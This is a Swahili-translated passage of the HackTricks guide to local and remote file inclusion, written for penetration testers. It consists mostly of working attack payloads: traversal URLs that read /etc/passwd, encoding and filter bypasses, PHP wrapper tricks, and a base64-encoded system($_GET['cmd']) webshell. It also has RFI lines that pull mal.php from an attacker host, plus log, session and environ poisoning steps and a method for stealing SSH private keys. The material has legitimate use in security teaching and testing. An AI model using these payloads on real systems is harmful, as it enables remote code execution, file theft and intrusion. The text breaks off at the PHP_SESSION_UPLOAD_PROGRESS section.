hacktricks/pentesting-web/file-inclusion
2024-02-18 14:54:02 +00:00
..
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md Translated to Swahili 2024-02-11 02:13:58 +00:00
lfi2rce-via-eternal-waiting.md Translated to Swahili 2024-02-11 02:13:58 +00:00
lfi2rce-via-nginx-temp-files.md Translated to Swahili 2024-02-11 02:13:58 +00:00
lfi2rce-via-php-filters.md Translated to Swahili 2024-02-11 02:13:58 +00:00
lfi2rce-via-phpinfo.md Translated to Swahili 2024-02-11 02:13:58 +00:00
lfi2rce-via-segmentation-fault.md Translated to Swahili 2024-02-11 02:13:58 +00:00
lfi2rce-via-temp-file-uploads.md Translated to Swahili 2024-02-11 02:13:58 +00:00
phar-deserialization.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:54:02 +00:00
README.md Translated to Swahili 2024-02-11 02:13:58 +00:00
via-php_session_upload_progress.md Translated to Swahili 2024-02-11 02:13:58 +00:00

Kuingiza Faili/Ugani wa njia

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Jiunge na seva ya HackenProof Discord ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!

Machapisho ya Kudukua
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za kudukua

Habari za Kudukua za Wakati Halisi
Endelea kuwa na habari za ulimwengu wa kudukua kwa kasi kupitia habari na ufahamu wa wakati halisi

Matangazo ya Hivi Karibuni
Baki na habari kuhusu uzinduzi wa tuzo za mdudu mpya na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Kuingiza Faili

Kuingiza Faili Kutoka Kijijini (RFI): Faili inapakia kutoka kwenye seva ya kijijini (Bora: Unaweza kuandika nambari na seva itaitekeleza). Katika php hii imelemazwa kwa chaguo-msingi (allow_url_include).
Kuingiza Faili Kutoka Kwenye Seva (LFI): Seva inapakia faili ya ndani.

Hitilafu hutokea wakati mtumiaji anaweza kudhibiti kwa njia fulani faili ambayo itapakiwa na seva.

Vipengele hatarishi vya PHP: require, require_once, include, include_once

Zana ya kuvutia ya kudukua hitilafu hii: https://github.com/kurobeats/fimap

Kipofu - Kuvutia - Faili za LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Kwa kuchanganya orodha za LFI za *nix na kuongeza njia zaidi, nimeunda hii:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Jaribu pia kubadilisha / na \
Jaribu pia kuongeza ../../../../../

Unaweza kupata orodha inayotumia njia kadhaa za kupata faili /etc/password (kuangalia ikiwa udhaifu upo) hapa

Windows

Unganisha orodha tofauti:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Jaribu pia kubadilisha / na \
Jaribu pia kuondoa C:/ na kuongeza ../../../../../

Unaweza kupata orodha inayotumia njia kadhaa za kupata faili /boot.ini (kuangalia ikiwa udhaifu upo) hapa

OS X

Angalia orodha ya LFI ya linux.

LFI ya Msingi na njia za kuzunguka

Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

Mfuatano wa kuvuka uliondolewa kwa njia isiyo ya kurekodi

Kuna njia mbalimbali za kuvuka (traversal) faili kwenye tovuti ili kufikia faili zisizo za umma au za siri. Moja ya njia hizo ni kuvuka kwa kutumia mfuatano wa kuvuka (traversal sequence). Hata hivyo, mara nyingi mfuatano huu unaweza kuwa umeondolewa kwa njia isiyo ya kurekodi (non-recursively).

Kwa kawaida, mfuatano wa kuvuka unaweza kuwa kama "../" au "../../" ambapo kila mfuatano unaelezea kuvuka ngazi moja ya saraka. Hata hivyo, katika hali ambapo mfuatano huu umefutwa kwa njia isiyo ya kurekodi, njia nyingine za kuvuka zinaweza kutumika.

Ni muhimu kufahamu kwamba mfuatano wa kuvuka uliondolewa kwa njia isiyo ya kurekodi unaweza kuwa hatari na kusababisha ufikiaji usioidhinishwa kwa faili na data zisizo za umma. Kwa hiyo, ni muhimu kwa wapenzi wa usalama na wataalamu wa uchunguzi wa wavuti kuelewa mbinu hii na kuchukua hatua za kutosha kuzuia mashambulizi ya kuvuka faili.

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Pita kwenye kuongeza herufi zaidi mwishoni mwa kamba iliyotolewa (kipuuzi cha: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Hii imepatiwa ufumbuzi tangu PHP 5.4

Ukodishaji

Unaweza kutumia ukodishaji usio wa kawaida kama vile ukodishaji wa URL mara mbili (na mingineyo):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Kutoka kwenye folda iliyopo

Labda sehemu ya nyuma inachunguza njia ya folda:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Kuchunguza Mafaili ya Mfumo wa Direktori kwenye Seva

Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kina ili kutambua direktori, si tu mafaili, kwa kutumia mbinu fulani. Mchakato huu unahusisha kujua kina cha direktori na kuchunguza uwepo wa folda maalum. Hapa chini ni njia iliyoelezwa kwa undani ya kufanikisha hili:

  1. Kujua Kina cha Direktori: Thibitisha kina cha direktori yako ya sasa kwa kupata faili ya /etc/passwd (inatumika ikiwa seva ni ya Linux). URL ya mfano inaweza kuwa imeundwa kama ifuatavyo, ikionyesha kina cha tatu:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Chunguza Folda: Ongeza jina la folda inayoshukiwa (kwa mfano, private) kwenye URL, kisha nenda nyuma kwenye /etc/passwd. Kiwango cha ziada cha folda kinahitaji kuongeza kina kwa moja:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Tafsiri Matokeo: Jibu la seva linaonyesha ikiwa saraka ipo:
  • Kosa / Hakuna Matokeo: Inaonekana kuwa saraka ya private haipo katika eneo lililoelezwa.
  • Yaliyomo ya /etc/passwd: Uwepo wa saraka ya private umethibitishwa.
  1. Uchunguzi wa Kina: Saraka zilizogunduliwa zinaweza kuchunguzwa zaidi kwa kutafuta vijidirisha au faili kwa kutumia njia ile ile au njia za kawaida za Uingizaji wa Faili za Ndani (LFI).

Kwa kuchunguza saraka katika maeneo tofauti katika mfumo wa faili, badilisha mzigo kulingana na hilo. Kwa mfano, ili kuangalia ikiwa /var/www/ ina saraka ya private (ukiassumu kuwa saraka ya sasa iko kwenye kina cha 3), tumia:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Mbinu ya Kukata Njia

Kukata njia ni njia inayotumiwa kubadilisha njia za faili katika programu za wavuti. Mara nyingi hutumiwa kupata faili zilizozuiwa kwa kuzingira hatua za usalama ambazo huongeza herufi zaidi mwishoni mwa njia ya faili. lengo ni kuunda njia ya faili ambayo, baada ya kubadilishwa na hatua ya usalama, bado inaelekeza kwenye faili inayotaka kufikiwa.

Katika PHP, uwakilishi tofauti wa njia ya faili unaweza kuchukuliwa kuwa sawa kutokana na asili ya mfumo wa faili. Kwa mfano:

  • /etc/passwd, /etc//passwd, /etc/./passwd, na /etc/passwd/ zote zinachukuliwa kama njia ile ile.
  • Wakati herufi 6 za mwisho ni passwd, kuongeza / (kufanya iwe passwd/) haimbadilishi faili inayolengwa.
  • Vivyo hivyo, ikiwa .php inaongezwa kwenye njia ya faili (kama shellcode.php), kuongeza /. mwishoni haitabadilisha faili inayofikiwa.

Mifano iliyotolewa inaonyesha jinsi ya kutumia kukata njia ili kupata /etc/passwd, lengo la kawaida kutokana na maudhui yake nyeti (habari za akaunti ya mtumiaji):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Katika mazingira haya, idadi ya mizunguko inayohitajika inaweza kuwa karibu 2027, lakini idadi hii inaweza kutofautiana kulingana na usanidi wa seva.

  • Kutumia Dot Segments na Herufi Zaidi: Mfululizo wa mizunguko (../) uliochanganywa na dot segments na herufi zaidi unaweza kutumika kusafiri kwenye mfumo wa faili, kwa kuzingatia vipande vilivyowekwa na seva.

  • Kutambua Idadi Inayohitajika ya Mizunguko: Kwa kujaribu na kosa, mtu anaweza kupata idadi sahihi ya mfululizo wa ../ unahitajika kusafiri kwenye saraka kuu na kisha kufikia /etc/passwd, kuhakikisha kuwa vipande vilivyowekwa (kama vile .php) vinatupiliwa mbali lakini njia inayotaka (/etc/passwd) inabaki salama.

  • Kuanza na Saraka Bandia: Ni jambo la kawaida kuanza njia na saraka isiyopo (kama vile a/). Mbinu hii hutumiwa kama tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva.

Wakati wa kutumia mbinu za kukata njia, ni muhimu kuelewa tabia ya uchambuzi wa njia ya seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji njia tofauti, na majaribio mara nyingi ni muhimu kupata njia yenye ufanisi zaidi.

Udhaifu huu ulisahihishwa katika PHP 5.3.

Mbinu za kuepuka kichujio

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Uingizaji wa Faili Kijijini

Katika php hii imezimwa kwa chaguo-msingi kwa sababu allow_url_include ni Off. Lazima iwe On ili ifanye kazi, na katika kesi hiyo unaweza kuingiza faili ya PHP kutoka kwenye seva yako na kupata RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Ikiwa kwa sababu fulani allow_url_include iko On, lakini PHP inazuia ufikiaji wa kurasa za wavuti za nje, kulingana na chapisho hili, unaweza kutumia mfano wa itifaki ya data na base64 ili kuchanganua nambari ya PHP ya b64 na kupata RCE:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} Katika msimbo uliopita, +.txt ya mwisho iliongezwa kwa sababu mshambuliaji alihitaji herufi ambayo inamalizika na .txt, kwa hivyo herufi hiyo inamalizika nayo na baada ya b64 decode sehemu hiyo itarudi tu taka na msimbo halisi wa PHP utajumuishwa (na kwa hivyo, kutekelezwa). {% endhint %}

Mfano mwingine usioutumia itifaki ya php:// ungekuwa:

{% code overflow="wrap" %}

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Kipengele cha Mzizi cha Python

Katika python katika namna ya namna hii ya namna:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Ikiwa mtumiaji anapitisha njia kamili kwa jina_la_faili, njia ya awali tu inaondolewa:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Hii ni tabia iliyokusudiwa kulingana na nyaraka:

Ikiwa sehemu ni njia kamili, sehemu zote za awali zinatupwa na kuunganisha inaendelea kutoka sehemu ya njia kamili.

Java Orodha ya Dirs

Inaonekana ikiwa una Path Traversal katika Java na unauliza kwa saraka badala ya faili, orodha ya saraka inarudi. Hii haitatokea katika lugha zingine (najua).

Parameta 25 Bora

Hapa kuna orodha ya parameta 25 bora ambazo zinaweza kuwa na udhaifu wa kuingiza faili za ndani (LFI) (kutoka kiungo):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI kwa kutumia PHP wrappers & itifaki

php://filter

Vichujio vya PHP huruhusu kufanya operesheni za kubadilisha data kabla ya kusomwa au kuandikwa. Kuna makundi 5 ya vichujio:

  • Vichujio vya Nakala:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Ondoa vitambulisho kutoka kwenye data (kila kitu kati ya herufi "<" na ">")
  • Tafadhali kumbuka kuwa kichujio hiki kimeondolewa katika toleo jipya la PHP
  • Vichujio vya Kubadilisha
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Badilisha kwenye uandishi tofauti (convert.iconv.<input_enc>.<output_enc>). Ili kupata orodha ya uandishi wote unaoungwa mkono, endesha kwenye konsoli: iconv -l

{% hint style="warning" %} Kwa kutumia kichujio cha ubadilishaji convert.iconv.*, unaweza kuunda maandishi yasiyokuwa na mpangilio, ambayo yanaweza kuwa na manufaa kuandika maandishi yasiyokuwa na mpangilio au kufanya kazi kama kuingiza maandishi yasiyokuwa na mpangilio. Kwa habari zaidi angalia LFI2RCE kupitia vichujio vya php. {% endhint %}

  • Vichujio vya Kupunguza
  • zlib.deflate: Punguza maudhui (inaweza kuwa na manufaa ikiwa unatoa habari nyingi)
  • zlib.inflate: Fungua upya data
  • Vichujio vya Kusimbwa
  • mcrypt.* : Imepitwa na wakati
  • mdecrypt.* : Imepitwa na wakati
  • Vichujio Vingine
  • Kwa kukimbia var_dump(stream_get_filters()); kwenye php, unaweza kupata vichujio vichache visivyotarajiwa:
  • consumed
  • dechunk: Inarudisha uandishi wa HTTP uliopangwa kwa sehemu
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} Sehemu ya "php://filter" haizingatii herufi kubwa na ndogo {% endhint %}

php://fd

Kifuniko hiki kinaruhusu kupata nambari za faili ambazo mchakato una wazi. Inaweza kuwa na manufaa kuondoa maudhui ya faili zilizofunguliwa:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Unaweza pia kutumia php://stdin, php://stdout na php://stderr ili kupata ufikiaji wa descriptors ya faili 0, 1 na 2 mtawaliwa (sina uhakika jinsi hii inaweza kuwa na manufaa katika shambulio)

zip:// na rar://

Pakia faili ya Zip au Rar na PHPShell ndani yake na ufikie.
Ili kuweza kutumia itifaki ya rar, inahitaji kuwezeshwa maalum.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

Hii ni mbinu ya kuingiza faili ambapo mtumiaji anaweza kuingiza faili kutoka kwa mfumo wa faili wa mwenyeji. Mbinu hii inaweza kutumiwa kwa madhumuni mbalimbali, kama vile kusoma faili za siri, kufikia data ya watumiaji wengine, au hata kutekeleza msimbo mbaya kwenye mfumo.

Mara nyingi, mbinu hii inaweza kutumika kwa kutumia parameter ya URL ambayo inaruhusu mtumiaji kuingiza jina la faili. Kwa mfano, ikiwa kuna parameter ya URL inayoitwa "file", mtumiaji anaweza kuingiza jina la faili kama thamani ya parameter hiyo.

Kwa mfano, URL ifuatayo ina parameter ya "file" ambapo mtumiaji anaweza kuingiza jina la faili:

http://www.example.com/index.php?file=filename.txt

Ikiwa mtumiaji anaingiza jina la faili la "../config.php", mfumo unaweza kujaribu kusoma faili ya "config.php" kutoka kwa mfumo wa faili wa mwenyeji. Hii inaweza kusababisha kufichua data nyeti au hata kutekeleza msimbo mbaya.

Ni muhimu kwa watengenezaji wa wavuti kuhakikisha kuwa wanazuia mbinu hii ya kuingiza faili kwa kufanya ukaguzi wa kutosha na kusafisha thamani ya parameter kabla ya kutumia. Hii inaweza kujumuisha kuzuia matumizi ya herufi maalum kama "../" au kufanya ukaguzi wa faili iliyotakiwa kabla ya kuiruhusu kusomwa.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Tafadhali kumbuka kuwa itifaki hii imezuiliwa na mipangilio ya php allow_url_open na allow_url_include

expect://

Expect lazima iwe imewezeshwa. Unaweza kutekeleza nambari kwa kutumia hii:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Taja mzigo wako kwenye vigezo vya POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Faili la .phar linaweza kutumika kutekeleza msimbo wa PHP wakati programu ya wavuti inatumia kazi kama vile include kwa kupakia faili. Msimbo wa PHP ulioonyeshwa hapa chini unaonyesha jinsi ya kuunda faili ya .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Ili kukusanya faili ya .phar, amri ifuatayo inapaswa kutekelezwa:

php --define phar.readonly=0 create_path.php

Baada ya kutekelezwa, faili inayoitwa test.phar itaundwa, ambayo inaweza kutumika kwa kufaidika na udhaifu wa Uingizaji wa Faili za Ndani (LFI).

Katika kesi ambapo LFI inafanya tu kusoma faili bila kutekeleza nambari ya PHP ndani yake, kupitia kazi kama vile file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), au filesize(), jaribio la kufaidika na udhaifu wa deserialization linaweza kufanywa. Udhaifu huu unahusishwa na kusoma faili kwa kutumia itifaki ya phar.

Kwa ufahamu wa kina wa kufaidika na udhaifu wa deserialization katika muktadha wa faili za .phar, tazama hati iliyounganishwa hapa chini:

Mwongozo wa Kufaidika na Udhaifu wa Deserialization wa Phar

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Itifaki zaidi

Angalia itifaki zingine zinazowezekana hapa:

  • php://memory na php://temp — Andika kwenye kumbukumbu au kwenye faili ya muda (sijui jinsi hii inaweza kuwa na manufaa katika shambulio la uingizaji wa faili)
  • file:// — Kupata mfumo wa faili wa ndani
  • http:// — Kupata URL za HTTP(s)
  • ftp:// — Kupata URL za FTP(s)
  • zlib:// — Mtiririko wa Kupunguza saizi
  • glob:// — Tafuta majina ya njia yanayolingana na muundo (Haitoi chochote kinachoweza kuchapishwa, kwa hivyo sio muhimu sana hapa)
  • ssh2:// — Shell Salama 2
  • ogg:// — Mtiririko wa sauti (Haitumiki kusoma faili za aina yoyote)

LFI kupitia 'assert' ya PHP

Hatari za Uingizaji wa Faili za Ndani (LFI) katika PHP ni kubwa sana wakati unashughulika na kazi ya 'assert', ambayo inaweza kutekeleza nambari ndani ya herufi. Hii ni hasa tatizo ikiwa kuna uingizaji wa saraka kama ".." unachunguzwa lakini hautakaswi ipasavyo.

Kwa mfano, nambari ya PHP inaweza kuundwa ili kuzuia uingizaji wa saraka kama ifuatavyo:

assert("strpos('$file', '..') === false") or die("");

Hii inalenga kuzuia uchunguzi, lakini kwa bahati mbaya inaunda njia ya kuingiza nambari. Kwa kudukua hii ili kusoma maudhui ya faili, mshambuliaji anaweza kutumia:

' and die(highlight_file('/etc/passwd')) or '

Vivyo hivyo, kwa kutekeleza amri za mfumo zisizo na kikomo, mtu anaweza kutumia:

' and die(system("id")) or '

Ni muhimu kubadilisha payloads hizi kuwa URL-encoded.

Jiunge na HackenProof Discord ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa bug bounty!

Machapisho ya Udukuzi
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za udukuzi

Habari za Udukuzi za Wakati Halisi
Endelea kuwa na habari za ulimwengu wa udukuzi kwa kupitia habari na ufahamu wa wakati halisi

Matangazo ya Hivi Karibuni
Baki na habari kuhusu bug bounties mpya zinazozinduliwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

PHP Blind Path Traversal

{% hint style="warning" %} Tekniki hii inatumika katika hali ambapo unadhibiti njia ya faili ya kazi ya PHP ambayo itafikia faili lakini hautaona maudhui ya faili (kama wito rahisi wa file()) lakini maudhui hayo hayataonyeshwa. {% endhint %}

Katika chapisho hili la kushangaza imeelezewa jinsi njia ya kipofu ya kufuatilia inaweza kutumiwa kupitia PHP filter ili kuvuja maudhui ya faili kupitia kosa la oracle.

Kwa muhtasari, tekniki hii inatumia "UCS-4LE" encoding ili kufanya maudhui ya faili kuwa kubwa sana hivi kwamba kazi ya PHP ya kufungua faili itasababisha kosa.

Kisha, ili kuvuja herufi ya kwanza, filter ya dechunk inatumika pamoja na zingine kama vile base64 au rot13 na hatimaye filters convert.iconv.UCS-4.UCS-4LE na convert.iconv.UTF16.UTF-16BE hutumiwa kuweka herufi nyingine mwanzoni na kuzivuja.

Kazi ambazo zinaweza kuwa na udhaifu: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (target pekee ya kusoma tu na hii), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Kwa maelezo ya kiufundi angalia chapisho lililotajwa!

LFI2RCE

Uingizaji wa Faili Kijijini

Imeelezwa hapo awali, fuata kiungo hiki.

Kupitia faili ya kumbukumbu ya Apache/Nginx

Ikiwa seva ya Apache au Nginx ina udhaifu wa LFI ndani ya kazi ya kuingiza, unaweza jaribu kupata ufikiaji wa /var/log/apache2/access.log au /var/log/nginx/access.log, weka ndani ya user agent au ndani ya parameta ya GET kabati ya php kama <?php system($_GET['c']); ?> na ingiza faili hiyo

{% hint style="warning" %} Tafadhali kumbuka kwamba ikiwa utatumia alama za nukuu mbili kwa kabati badala ya alama za nukuu moja, alama za nukuu mbili zitabadilishwa na kigezo "quote;", PHP itatoa kosa hapo na hakuna kitu kingine kitatekelezwa.

Pia, hakikisha kuandika kwa usahihi payload au PHP itatoa kosa kila wakati inapojaribu kupakia faili ya kumbukumbu na hautapata nafasi ya pili. {% endhint %}

Hii inaweza pia kufanywa kwenye kumbukumbu nyingine lakini kuwa makini, nambari ndani ya kumbukumbu inaweza kuwa imefanywa kuwa URL-encoded na hii inaweza kuharibu Kabati. Kichwa cha habari authorisation "basic" kina "user:password" katika Base64 na kinakunjuliwa ndani ya kumbukumbu. PHPShell inaweza kuingizwa ndani ya kichwa hiki.
Njia zingine za kumbukumbu zinazowezekana:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Orodha ya maneno ya Fuzzing: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Kupitia Barua pepe

Tuma barua kwa akaunti ya ndani (user@localhost) yenye mzigo wako wa PHP kama <?php echo system($_REQUEST["cmd"]); ?> na jaribu kuiongeza kwenye barua ya mtumiaji na njia kama /var/mail/<USERNAME> au /var/spool/mail/<USERNAME>

Kupitia /proc/*/fd/*

  1. Pakia mabomu mengi (kwa mfano: 100)
  2. Ongeza http://example.com/index.php?page=/proc/$PID/fd/$FD, na $PID = PID ya mchakato (inaweza kubadilishwa kwa nguvu) na $FD ni maelezo ya faili (inaweza kubadilishwa kwa nguvu pia)

Kupitia /proc/self/environ

Kama faili ya kumbukumbu, tuma mzigo kwenye User-Agent, itaakisiwa ndani ya faili ya /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Kupitia kupakia

Ikiwa unaweza kupakia faili, tuweke kifurushi cha shell ndani yake (kwa mfano: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Ili kuweka faili iwezekanavyo kusomwa, ni bora kuingiza kwenye metadata ya picha/doc/pdf

Kupitia kupakia faili ya Zip

Pakia faili ya ZIP ambayo ina PHP shell iliyopimwa na ufikie:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Kupitia vikao vya PHP

Angalia ikiwa tovuti inatumia Vikao vya PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Katika PHP, vikao hivi hifadhiwa katika faili za /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Weka kuki kuwa <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Tumia LFI kuweka faili ya kikao ya PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Kupitia ssh

Ikiwa ssh iko hai, angalia ni mtumiaji yupi anatumika (/proc/self/status & /etc/passwd) na jaribu kupata ufikiaji wa <HOME>/.ssh/id_rsa

Kupitia viwambo vya vsftpd

Viwambo vya seva ya FTP vsftpd vipo katika /var/log/vsftpd.log. Katika hali ambapo kuna udhaifu wa Uingizaji wa Faili za Ndani (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unawezekana, hatua zifuatazo zinaweza kuzingatiwa:

  1. Ingiza mzigo wa PHP kwenye uga wa jina la mtumiaji wakati wa mchakato wa kuingia.
  2. Baada ya kuingiza, tumia LFI kupata viwambo vya seva kutoka /var/log/vsftpd.log.

Kupitia kichujio cha php base64 (kwa kutumia base64)

Kama ilivyoonyeshwa katika makala hii, kichujio cha php base64 hupuuza tu yale yasiyo ya base64. Unaweza kutumia hilo kukiuka ukaguzi wa kipengee cha faili: ikiwa unatoa base64 ambayo inamalizika na ".php", itapuuza "." na kuongeza "php" kwenye base64. Hapa kuna mzigo wa mfano:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Kupitia php filters (hakuna faili inayohitajika)

Hii makala inaelezea kuwa unaweza kutumia php filters kuunda maudhui yoyote kama matokeo. Hii inamaanisha kwamba unaweza kuunda nambari ya php yoyote kwa ajili ya kuingiza bila haja ya kuandika kwenye faili.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Kupitia segmentation fault

Pakia faili ambayo itahifadhiwa kama faili la muda katika /tmp, kisha katika ombi moja, sababisha segmentation fault, na kisha faili ya muda haitafutwa na unaweza kuitafuta.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Kupitia uhifadhi wa faili za muda za Nginx

Ikiwa umepata Local File Inclusion na Nginx inaendesha mbele ya PHP, unaweza kupata RCE kwa kutumia mbinu ifuatayo:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Kupitia PHP_SESSION_UPLOAD_PROGRESS

